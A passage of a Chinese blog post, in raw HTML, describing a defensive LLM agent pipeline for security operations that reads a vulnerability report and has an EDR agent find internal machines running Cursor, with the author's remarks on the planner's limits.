data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  Leader又发话了</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">Once again,  高瞻远瞩，英明的Leader，他在群里发话了。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000143" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=926c494c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwADcrxtP3hThZCZIYXPc2OYb1ic0AwNSNASMrv3LrrPhae7iaGoic7ia3LoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">安全机器人接收到用户输入后</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000144" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8f14f942&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwAeibHpP0yrz9iaiaE92m8otVdjTzaQqOIibGOp1JemcrbtLqnRGiblvylQxA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">LLM Intention节点分析了PDF内容，发现它是一个漏洞情报。随后，它输出了一个简单</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;">漏洞</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">总结，并转交给下游Planner节点开始处理。这里最重要的信息自然是提取了CVE ID，以及漏洞影响范围。有了这些信息，足够Planner规划和执行任务了。</span></span></p><p><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  Planner任务规划</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">Planner接到信息，通过LLM生成任务如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000145" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8acb668a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwACXQuTWf9spJnwufnoaPBAxhnianzibdbt0ReIpBpxRWY8VBQJA4RMhOw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">它创建了一个查询需求，让EDR Agent查出哪些设备安装了Cursor，它比较谨慎，查询的是名称中包含Cursor的软件。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">在我们的系统提示词中，LLM仅知道，当前存在几十个同事能够配合它的安全运营工作。看一个提示词例子</span></span></p><p cid="n125" mdtype="paragraph" style=" box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 8px;white-space: pre-wrap; color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-style: italic;">DNS</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-style: italic;">:  该Agent能够查询最近收集的DNS日志记录，包括终端设备/虚机/容器等</span></span></span></p><ul style=" box-sizing: border-box;list-style: none;margin: 0.5em 0px 1.5em 1.5em; color: rgb(31, 9, 9);font-family: &#34;PT Serif&#34;, &#34;Times New Roman&#34;, Times, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=" box-sizing: border-box;margin: 0px; list-style-type: disc;list-style-position: outside;display: list-item; "><p cid="n128" mdtype="paragraph" style=" box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0px 0px 0.5rem;white-space: pre-wrap;  "><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-style: italic;">内部设备的DNS 请求记录，记录了设备曾访问哪些网站</span></span></span></p></li></ul><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: bold;">总之，要请求谁帮忙解决子问题，是LLM自己决策的。我们并没有提前设计Workflow。</span></span></p><p><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  Planner的不足</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">LLM的任务是否完美了？肯定差得远。 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">如果EDR路径没有返回结果、查询异常了怎么办？Agent 是否具备RePlan的能力。假设，上面EDR根本没查出来，事情就结束了吗？ 并没有。如果它足够智能，就应该，比如，试图找出一个</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;font-weight: normal;">低版本</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">Cursor的特征服务域名，尝试利用DNS日志去定位哪些设备疑似安装使用Cursor了。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">但，这毕竟是运营的思路。 </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">你必须首先，教会它这样思考。</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">通常，这类</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;}]"><span textstyle="" style="font-size: 14px;font-weight: normal;">深度推理的解法，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;font-weight: normal;">由所谓提示词技术中的【思维树】解决。</span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  EDR处理查询任务</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;"><span textstyle="" style="font-size: 14px;">这个环节没有多少亮点，如果非要说有。</span></span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;"><span textstyle="" style="font-size: 14px;">那么让我澄清，因为某些原因，我们是利用Browser Use方式查询软件的。</span></span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">第二，所有的Agent均只接受自然语言任务，并非MCP/tool call</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-style: italic;">请帮我查询所有安装的软件名称中包含Cursor的软件列表，包括软件名称（software_name），软件发布者（software_publisher），主机名（host_name），公网IP（public_ip），主机IP（host_ip），用户名（user_name），软件版本（software_version）等字段</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;font-style: italic;">这将帮助我确定内部使用的Cursor版本，并识别可能受到漏洞影响的机器。</span></span></p><p style="margin-bottom: 16px;"><span leaf=""><span textstyle="" style="font-size: 14px;">上面就是EDR Agent收到和处理的原始消息。它处理完消息，把查到的数据原样返回即可。进度输出如下：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000150" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e1b16c7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwAXb1hIEYsScx41pP35rWatxM2LB9uW7M8BYVoEVsWq15o0YLUxtKicyw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 16px;"><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: 